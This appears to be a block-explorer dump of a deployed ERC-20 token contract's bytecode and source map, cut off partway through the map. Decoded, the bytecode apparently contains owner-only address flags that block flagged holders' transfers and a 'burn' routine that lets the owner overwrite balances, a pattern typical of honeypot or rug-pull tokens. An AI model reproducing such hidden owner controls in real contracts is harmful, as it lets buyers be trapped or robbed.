ffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606008805461043e906118b8565b80601f016020809104026020016040519081016040528092919081815260200182805461046a906118b8565b80156104b75780601f1061048c576101008083540402835291602001916104b7565b820191906000526020600020905b81548152906001019060200180831161049a57829003601f168201915b5050505050905090565b60006104d56104ce610b0d565b8484610b15565b6001905092915050565b6000600554905090565b60006104f6848484610ce0565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610541610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b890611674565b60405180910390fd5b6105de856105cd610b0d565b85846105d991906117fc565b610b15565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000009905090565b60006106b461061f610b0d565b84846003600061062d610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106af91906117a6565b610b15565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074390611694565b60405180910390fd5b61075682826110a2565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b606060098054610808906118b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610834906118b8565b80156108815780601f1061085657610100808354040283529160200191610881565b820191906000526020600020905b81548152906001019060200180831161086457829003601f168201915b5050505050905090565b6000806003600061089a610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094e90611734565b60405180910390fd5b610974610962610b0d565b85858461096f91906117fc565b610b15565b600191505092915050565b600061099361098c610b0d565b8484610ce0565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2290611694565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c90611714565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90611634565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd39190611754565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d47906116d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db7906115d4565b60405180910390fd5b60008111610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611614565b60405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610ea45750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610f005760001515600660009054906101000a900460ff16151514610eff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef6906116f4565b60405180910390fd5b5b610f0b83838361126e565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990611654565b60405180910390fd5b8181610f9e91906117fc565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103091906117a6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110949190611754565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611109906116b4565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611199576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611190906115f4565b60405180910390fd5b816007546111a791906117fc565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008282546111fc91906117fc565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112619190611754565b60405180910390a3505050565b505050565b60008135905061128281611c9b565b92915050565b60008135905061129781611cb2565b92915050565b6000602082840312156112af57600080fd5b60006112bd84828501611273565b91505092915050565b600080604083850312156112d957600080fd5b60006112e785828601611273565b92505060206112f885828601611273565b9150509250929050565b60008060006060848603121561131757600080fd5b600061132586828701611273565b935050602061133686828701611273565b925050604061134786828701611288565b9150509250925092565b6000806040838503121561136457600080fd5b600061137285828601611273565b925050602061138385828601611288565b9150509250929050565b61139681611842565b82525050565b60006113a78261178a565b6113b18185611795565b93506113c1818560208601611885565b6113ca81611948565b840191505092915050565b60006113e2602383611795565b91506113ed82611959565b604082019050919050565b6000611405602283611795565b9150611410826119a8565b604082019050919050565b6000611428602983611795565b9150611433826119f7565b604082019050919050565b600061144b602283611795565b915061145682611a46565b604082019050919050565b600061146e602683611795565b915061147982611a95565b604082019050919050565b6000611491602883611795565b915061149c82611ae4565b604082019050919050565b60006114b4602083611795565b91506114bf82611b33565b602082019050919050565b60006114d7602183611795565b91506114e282611b5c565b604082019050919050565b60006114fa602583611795565b915061150582611bab565b604082019050919050565b600061151d600083611795565b915061152882611bfa565b600082019050919050565b6000611540602483611795565b915061154b82611bfd565b604082019050919050565b6000611563602583611795565b915061156e82611c4c565b604082019050919050565b6115828161186e565b82525050565b61159181611878565b82525050565b60006020820190506115ac600083018461138d565b92915050565b600060208201905081810360008301526115cc818461139c565b905092915050565b600060208201905081810360008301526115ed816113d5565b9050919050565b6000602082019050818103600083015261160d816113f8565b9050919050565b6000602082019050818103600083015261162d8161141b565b9050919050565b6000602082019050818103600083015261164d8161143e565b9050919050565b6000602082019050818103600083015261166d81611461565b9050919050565b6000602082019050818103600083015261168d81611484565b9050919050565b600060208201905081810360008301526116ad816114a7565b9050919050565b600060208201905081810360008301526116cd816114ca565b9050919050565b600060208201905081810360008301526116ed816114ed565b9050919050565b6000602082019050818103600083015261170d81611510565b9050919050565b6000602082019050818103600083015261172d81611533565b9050919050565b6000602082019050818103600083015261174d81611556565b9050919050565b60006020820190506117696000830184611579565b92915050565b60006020820190506117846000830184611588565b92915050565b600081519050919050565b600082825260208201905092915050565b60006117b18261186e565b91506117bc8361186e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117f1576117f06118ea565b5b828201905092915050565b60006118078261186e565b91506118128361186e565b925082821015611825576118246118ea565b5b828203905092915050565b600061183b8261184e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118a3578082015181840152602081019050611888565b838111156118b2576000848401525b50505050565b600060028204905060018216806118d057607f821691505b602082108114156118e4576118e3611919565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611ca481611830565b8114611caf57600080fd5b50565b611cbb8161186e565b8114611cc657600080fd5b5056fea2646970667358221220e9f4793f57bea021b92b8f4bbe07f6642c04c92b0d8d228701f36a1c12f78b8164736f6c63430008020033
Deployed Bytecode Sourcemap
13986:716:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6382:115;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5815:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7752:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6705:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8403:418;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14442:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9230:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14554:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6876:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6505:135;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6034:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9948:375;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7216:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6251:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7454:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6382:115;5670:10;5660:20;;:6;;;;;;;;;;:20;;;5652:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;6485:4:::1;6450:16;:32;6467:14;6450:32;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;6382:115:::0;:::o;5815:100::-;5869:13;5902:5;5895:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5815:100;:::o;7752:169::-;7835:4;7852:39;7861:12;:10;:12::i;:::-;7875:7;7884:6;7852:8;:39::i;:::-;7909:4;7902:11;;7752:169;;;;:::o;6705:108::-;6766:7;6793:12;;6786:19;;6705:108;:::o;8403:418::-;8509:4;8526:36;8536:6;8544:9;8555:6;8526:9;:36::i;:::-;8573:24;8600:11;:19;8612:6;8600:19;;;;;;;;;;;;;;;:33;8620:12;:10;:12::i;:::-;8600:33;;;;;;;;;;;;;;;;8573:60;;8672:6;8652:16;:26;;8644:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8734:57;8743:6;8751:12;:10;:12::i;:::-;8784:6;8765:16;:25;;;;:::i;:::-;8734:8;:57::i;:::-;8809:4;8802:11;;;8403:418;;;;;:::o;14442:100::-;14500:5;14525:9;14518:16;;14442:100;:::o;9230:215::-;9318:4;9335:80;9344:12;:10;:12::i;:::-;9358:7;9404:10;9367:11;:25;9379:12;:10;:12::i;:::-;9367:25;;;;;;;;;;;;;;;:34;9393:7;9367:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;9335:8;:80::i;:::-;9433:4;9426:11;;9230:215;;;;:::o;14554:145::-;5670:10;5660:20;;:6;;;;;;;;;;:20;;;5652:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;14650:41:::1;14675:7;14684:6;14650:24;:41::i;:::-;14554:145:::0;;:::o;6876:127::-;6950:7;6977:9;:18;6987:7;6977:18;;;;;;;;;;;;;;;;6970:25;;6876:127;;;:::o;6505:135::-;6576:4;6600:16;:32;6617:14;6600:32;;;;;;;;;;;;;;;;;;;;;;;;;6593:39;;6505:135;;;:::o;6034:104::-;6090:13;6123:7;6116:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6034:104;:::o;9948:375::-;10041:4;10058:24;10085:11;:25;10097:12;:10;:12::i;:::-;10085:25;;;;;;;;;;;;;;;:34;10111:7;10085:34;;;;;;;;;;;;;;;;10058:61;;10158:15;10138:16;:35;;10130:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;10226:67;10235:12;:10;:12::i;:::-;10249:7;10277:15;10258:16;:34;;;;:::i;:::-;10226:8;:67::i;:::-;10311:4;10304:11;;;9948:375;;;;:::o;7216:175::-;7302:4;7319:42;7329:12;:10;:12::i;:::-;7343:9;7354:6;7319:9;:42::i;:::-;7379:4;7372:11;;7216:175;;;;:::o;6251:123::-;5670:10;5660:20;;:6;;;;;;;;;;:20;;;5652:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;6361:5:::1;6326:16;:32;6343:14;6326:32;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;6251:123:::0;:::o;7454:151::-;7543:7;7570:11;:18;7582:5;7570:18;;;;;;;;;;;;;;;:27;7589:7;7570:27;;;;;;;;;;;;;;;;7563:34;;7454:151;;;;:::o;4299:98::-;4352:7;4379:10;4372:17;;4299:98;:::o;12805:344::-;12924:1;12907:19;;:5;:19;;;;12899:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13005:1;12986:21;;:7;:21;;;;12978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13087:6;13057:11;:18;13069:5;13057:18;;;;;;;;;;;;;;;:27;13076:7;13057:27;;;;;;;;;;;;;;;:36;;;;13125:7;13109:32;;13118:5;13109:32;;;13134:6;13109:32;;;;;;:::i;:::-;;;;;;;;12805:344;;;:::o;10820:772::-;10944:1;10926:20;;:6;:20;;;;10918:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;11028:1;11007:23;;:9;:23;;;;10999:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;11098:1;11089:6;:10;11081:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11160:16;:24;11177:6;11160:24;;;;;;;;;;;;;;;;;;;;;;;;;:55;;;;11188:16;:27;11205:9;11188:27;;;;;;;;;;;;;;;;;;;;;;;;;11160:55;11156:88;;;11234:5;11225:14;;:5;;;;;;;;;;;:14;;;11217:27;;;;;;;;;;;;:::i;:::-;;;;;;;;;11156:88;11255:47;11276:6;11284:9;11295:6;11255:20;:47::i;:::-;11313:21;11337:9;:17;11347:6;11337:17;;;;;;;;;;;;;;;;11313:41;;11390:6;11373:13;:23;;11365:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;11486:6;11470:13;:22;;;;:::i;:::-;11450:9;:17;11460:6;11450:17;;;;;;;;;;;;;;;:42;;;;11527:6;11503:9;:20;11513:9;11503:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;11566:9;11549:35;;11558:6;11549:35;;;11577:6;11549:35;;;;;;:::i;:::-;;;;;;;;10820:772;;;;:::o;11926:441::-;12048:1;12029:21;;:7;:21;;;;12021:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12099:22;12124:9;:18;12134:7;12124:18;;;;;;;;;;;;;;;;12099:43;;12179:6;12161:14;:24;;12153:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12267:6;12256:8;;:17;;;;:::i;:::-;12235:9;:18;12245:7;12235:18;;;;;;;;;;;;;;;:38;;;;12300:6;12284:12;;:22;;;;;;;:::i;:::-;;;;;;;;12348:1;12322:37;;12331:7;12322:37;;;12352:6;12322:37;;;;;;:::i;:::-;;;;;;;;11926:441;;;:::o;13752:92::-;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:109::-;2030:21;2045:5;2030:21;:::i;:::-;2025:3;2018:34;2008:50;;:::o;2064:364::-;;2180:39;2213:5;2180:39;:::i;:::-;2235:71;2299:6;2294:3;2235:71;:::i;:::-;2228:78;;2315:52;2360:6;2355:3;2348:4;2341:5;2337:16;2315:52;:::i;:::-;2392:29;2414:6;2392:29;:::i;:::-;2387:3;2383:39;2376:46;;2156:272;;;;;:::o;2434:366::-;;2597:67;2661:2;2656:3;2597:67;:::i;:::-;2590:74;;2673:93;2762:3;2673:93;:::i;:::-;2791:2;2786:3;2782:12;2775:19;;2580:220;;;:::o;2806:366::-;;2969:67;3033:2;3028:3;2969:67;:::i;:::-;2962:74;;3045:93;3134:3;3045:93;:::i;:::-;3163:2;3158:3;3154:12;3147:19;;2952:220;;;:::o;3178:366::-;;3341:67;3405:2;3400:3;3341:67;:::i;:::-;3334:74;;3417:93;3506:3;3417:93;:::i;:::-;3535:2;3530:3;3526:12;3519:19;;3324:220;;;:::o;3550:366::-;;3713:67;3777:2;3772:3;3713:67;:::i;:::-;3706:74;;3789:93;3878:3;3789:93;:::i;:::-;3907:2;3902:3;3898:12;3891:19;;3696:220;;;:::o;3922:366::-;;4085:67;4149:2;4144:3;4085:67;:::i;:::-;4078:74;;4161:93;4250:3;4161:93;:::i;:::-;4279:2;4274:3;4270:12;4263:19;;4068:220;;;:::o;4294:366::-;;4457:67;4521:2;4516:3;4457:67;:::i;:::-;4450:74;;4533:93;4622:3;4533:93;:::i;:::-;4651:2;4646:3;4642:12;4635:19;;4440:220;;;:::o;4666:366::-;;4829:67;4893:2;4888:3;4829:67;:::i;:::-;4822:74;;4905:93;4994:3;4905:93;:::i;:::-;5023:2;5018:3;5014:12;5007:19;;4812:220;;;:::o;5038:366::-;;5201:67;5265:2;5260:3;5201:67;:::i;:::-;5194:74;;5277:93;5366:3;5277:93;:::i;:::-;5395:2;5390:3;5386:12;5379:19;;5184:220;;;:::o;5410:366::-;;5573:67;5637:2;5632:3;5573:67;:::i;:::-;5566:74;;5649:93;5738:3;5649:93;:::i;:::-;5767:2;5762:3;5758:12;5751:19;;5556:220;;;:::o;5782:364::-;;5945:66;6009:1;6004:3;5945:66;:::i;:::-;5938:73;;6020:93;6109:3;6020:93;:::i;:::-;6138:1;6133:3;6129:11;6122:18;;5928:218;;;:::o;6152:366::-;;6315:67;6379:2;6374:3;6315:67;:::i;:::-;6308:74;;6391:93;6480:3;6391:93;:::i;:::-;6509:2;6504:3;6500:12;6493:19;;6298:220;;;:::o;6524:366::-;;6687:67;6751:2;6746:3;6687:67;:::i;:::-;6680:74;;6763:93;6852:3;6763:93;:::i;:::-;6881:2;6876:3;6872:12;6865:19;;6670:220;;;:::o;6896:118::-;6983:24;7001:5;6983:24;:::i;:::-;6978:3;6971:37;6961:53;;:::o;7020:112::-;7103:22;7119:5;7103:22;:::i;:::-;7098:3;7091:35;7081:51;;:::o;7138:210::-;;7263:2;7252:9;7248:18;7240:26;;7276:65;7338:1;7327:9;7323:17;7314:6;7276:65;:::i;:::-;7230:118;;;;:::o;7354:313::-;;7505:2;7494:9;7490:18;7482:26;;7554:9;7548:4;7544:20;7540:1;7529:9;7525:17;7518:47;7582:78;7655:4;7646:6;7582:78;:::i;:::-;7574:86;;7472:195;;;;:::o;7673:419::-;;7877:2;7866:9;7862:18;7854:26;;7926:9;7920:4;7916:20;7912:1;7901:9;7897:17;7890:47;7954:131;8080:4;7954:131;:::i;:::-;7946:139;;7844:248;;;:::o;8098:419::-;;8302:2;8291:9;8287:18;8279:26;;8351:9;8345:4;8341:20;8337:1;8326:9;8322:17;8315:47;8379:131;8505:4;8379:131;:::i;:::-;8371:139;;8269:248;;;:::o;8523:419::-;;8727:2;8716:9;8712:18;8704:26;;8776:9;8770:4;8766:20;8762:1;8751:9;8747:17;8740:47;8804:131;8930:4;8804:131;:::i;:::-;8796:139;;8694:248;;;:::o;8948:419::-;;9152:2;9141:9;9137:18;9129:26;;9201:9;9195:4;9191:20;9187:1;9176:9;9172:17;9165:47;9229:131;9355:4;9229:131;:::i;:::-;9221:139;;9119:248;;;:::o;9373:419::-;;9577:2;9566:9;9562:18;9554:26;;9626:9;9620:4;9616:20;9612:1;9601:9;9597:17;9590:47;9654:131;9780:4;9654:131;:::i;:::-;9646:139;;9544:248;;;:::o;9798:419::-;;10002:2;9991:9;9987:18;9979:26;;10051:9;10045:4;10041:20;10037:1;10026:9;10022:17;10015:47;10079:131;10205:4;10079:131;:::i;:::-;10071:139;;9969:248;;;:::o;10223:419::-;;10427:2;10416:9;10412:18;10404:26;;10476:9;10470:4;10466:20;10462:1;10451:9;10447:17;10440:47;10504:131;10630:4;10504:131;:::i;:::-;10496:139;;10394:248;;;:::o;10648:419::-;;10852:2;10841:9;10837:18;10829:26;;10901:9;10895:4;10891:20;10887:1;10876:9;10872:17;10865:47;10929:131;11055:4;10929:131;:::i;:::-;10921:139;;10819:248;;;:::o;11073:419::-;;11277:2;11266:9;11262:18;11254:26;;11326:9;11320:4;11316:20;11312:1;11301:9;11297:17;11290:47;11354:131;11480:4;11354:131;:::i;:::-;11346:139;;11244:248;;;:::o;11498:419::-;;11702:2;11691:9;11687:18;11679:26;;11751:9;11745:4;11741:20;11737:1;11726:9;11722:17;11715:47;11779:131;11905:4;11779:131;:::i;:::-;11771:139;;11669:248;;;:::o;11923:419::-;;12127:2;12116:9;12112:18;12104:26;;12176:9;12170:4;12166:20;12162:1;12151:9;12147:17;12140:47;12204:131;12330:4;12204:131;:::i;:::-;12196:139;;12094:248;;;:::o;12348:419::-;;12552:2;12541:9;12537:18;12529:26;;12601:9;12595:4;12591:20;12587:1;12576:9;12572:17;12565:47;12629:131;12755:4;12629:131;:::i;:::-;12621:139;;12519:248;;;:::o;12773:222::-;;12904:2;12893:9;12889:18;12881:26;;12917:71;12985:1;12974:9;12970:17;12961:6;12917:71;:::i;:::-;12871:124;;;;:::o;13001:214::-;;13128:2;13117:9;13113:18;13105:26;;13141:67;13205:1;13194:9;13190:17;13181:6;13141:67;:::i;:::-;13095:120;;;;:::o;13221:99::-;;13307:5;13301:12;13291:22;;13280:40;;;:::o;13326:169::-;;13444:6;13439:3;13432:19;13484:4;13479:3;13475:14;13460:29;;13422:73;;;;:::o;13501:305::-;;13560:20;13578:1;13560:20;:::i;:::-;13555:25;;13594:20;13612:1;13594:20;:::i;:::-;13589:25;;13748:1;13680:66;13676:74;13673:1;13670:81;13667:2;;;13754:18;;:::i;:::-;13667:2;13798:1;13795;13791:9;13784:16;;13545:261;;;;:::o;13812:191::-;;13872:20;13890:1;13872:20;:::i;:::-;13867:25;;13906:20;13924:1;13906:20;:::i;:::-;13901:25;;13945:1;13942;13939:8;13936:2;;;13950:18;;:::i;:::-;13936:2;13995:1;13992;13988:9;13980:17;;13857:146;;;;:::o;14009:96::-;;14075:24;14093:5;14075:24;:::i;:::-;14064:35;;14054:51;;;:::o;14111:90::-;;14188:5;14181:13;14174:21;14163:32;;14153:48;;;:::o;14207:126::-;;14284:42;14277:5;14273:54;14262:65;;14252:81;;;:::o;14339:77::-;;14405:5;14394:16;;14384:32;;;:::o;14422:86::-;;14497:4;14490:5;14486:16;14475:27;;14465:43;;;:::o;14514:307::-;14582:1;14592:113;14606:6;14603:1;14600:13;14592:113;;;14691:1;14686:3;14682:11;14676:18;14672:1;14667:3;14663:11;14656:39;14628:2;14625:1;14621:10;14616:15;;14592:113;;;14723:6;14720:1;14717:13;14714:2;;;14803:1;14794:6;14789:3;14785:16;14778:27;14714:2;14563:258;;;;:::o;14827:320::-;;14908:1;14902:4;14898:12;14888:22;;14955:1;14949:4;14945:12;14976:18;14966:2;;15032:4;15024:6;15020:17;15010:27;;14966:2;15094;15086:6;15083:14;15063:18;15060:38;15057:2;;;15113:18;;:::i;:::-;15057:2;14878:269;;;;:::o;15153:180::-;15201:77;15198:1;15191:88;15298:4;15295:1;15288:15;15322:4;15319:1;15312:15;15339:180;15387:77;15384:1;15377:88;15484:4;15481:1;15474:15;15508:4;15505:1;15498:15;15525:102;;15617:2;15613:7;15608:2;15601:5;15597:14;15593:28;15583:38;;15573:54;;;:::o;15633:222::-;15773:34;15769:1;15761:6;15757:14;15750:58;15842:5;15837:2;15829:6;15825:15;15818:30;15739:116;:::o;15861:221::-;16001:34;15997:1;15989:6;15985:14;15978:58;16070:4;16065:2;16057:6;16053:15;16046:29;15967:115;:::o;16088:228::-;16228:34;16224:1;16216:6;16212:14;16205:58;16297:11;16292:2;16284:6;16280:15;16273:36;16194:122;:::o;16322:221::-;16462:34;16458:1;16450:6;16446:14;16439:58;16531:4;16526:2;16518:6;16514:15;16507:29;16428:115;:::o;16549:225::-;16689:34;16685:1;16677:6;16673:14;16666:58;16758:8;16753:2;16745:6;16741:15;16734:33;16655:119;:::o;16780:227::-;16920:34;16916:1;16908:6;16904:14;16897:58;16989:10;16984:2;16976:6;16972:15;16965:35;16886:121;:::o;17013:182::-;17153:34;17149:1;17141:6;17137:14;17130:58;17119:76;:::o;17201:220::-;17341:34;17337:1;17329:6;17325:14;17318:58;17410:3;17405:2;17397:6;17393:15;17386:28;17307:114;:::o;17427:224::-;17567:34;17563:1;17555:6;17551:14;17544:58;17636:7;17631:2;17623:6;17619:15;17612:32;17533:118;:::o;17657:114::-;17763:8;:::o;17777:223::-;17917:34;17913:1;17905:6;17901:14;17894:58;17986:6;17981:2;17973:6;17969:15;17962:31;17883:117;:::o;18006:224::-;18146:34;18142:1;18134:6;18130:14;18123: